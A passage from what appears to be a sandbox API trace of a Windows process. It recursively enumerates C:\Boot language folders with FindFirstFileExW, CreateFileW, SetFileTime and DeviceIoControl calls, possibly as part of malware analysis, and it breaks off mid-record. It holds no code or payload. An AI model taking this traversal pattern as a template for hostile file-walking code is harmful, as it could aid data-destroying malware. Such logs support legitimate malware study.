ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0037.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.860] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0037.860] CreateFileW (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0037.861] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0037.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0037.861] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0037.861] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.861] NtClose (Handle=0x16c) returned 0x0 [0037.861] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0037.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0037.861] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0037.861] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.861] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.861] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.861] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed58f0 [0037.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f038 [0037.861] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.861] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0037.861] GetLastError () returned 0x12 [0037.861] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0037.862] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0037.862] GetLastError () returned 0x12 [0037.862] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0037.862] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0037.862] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0037.862] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.862] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0037.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.862] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0037.862] CreateFileW (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0037.862] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0037.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0037.862] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0037.862] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.862] NtClose (Handle=0x134) returned 0x0 [0037.862] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0037.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0037.863] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0037.863] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.863] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.863] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed5910 [0037.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30efb0 [0037.863] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0037.863] GetLastError () returned 0x12 [0037.863] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0037.863] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0037.863] GetLastError () returned 0x12 [0037.863] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0037.863] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0037.863] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0037.863] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.863] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0037.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.864] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0037.922] CreateFileW (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0037.922] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0037.922] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0037.922] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.922] NtClose (Handle=0x16c) returned 0x0 [0037.922] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0037.922] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0037.922] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.922] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.922] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.922] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed5930 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30ef28 [0037.922] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.922] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0037.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.922] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.923] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed5950 [0037.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30eea0 [0037.923] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.923] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0037.923] GetLastError () returned 0x12 [0037.923] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0037.923] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0037.923] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.923] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.923] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0037.923] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0037.923] GetLastError () returned 0x12 [0037.923] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0037.923] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0037.923] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0037.923] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.923] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0037.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.923] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.208] CreateFileW (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0038.209] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0038.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0038.209] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0038.209] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, 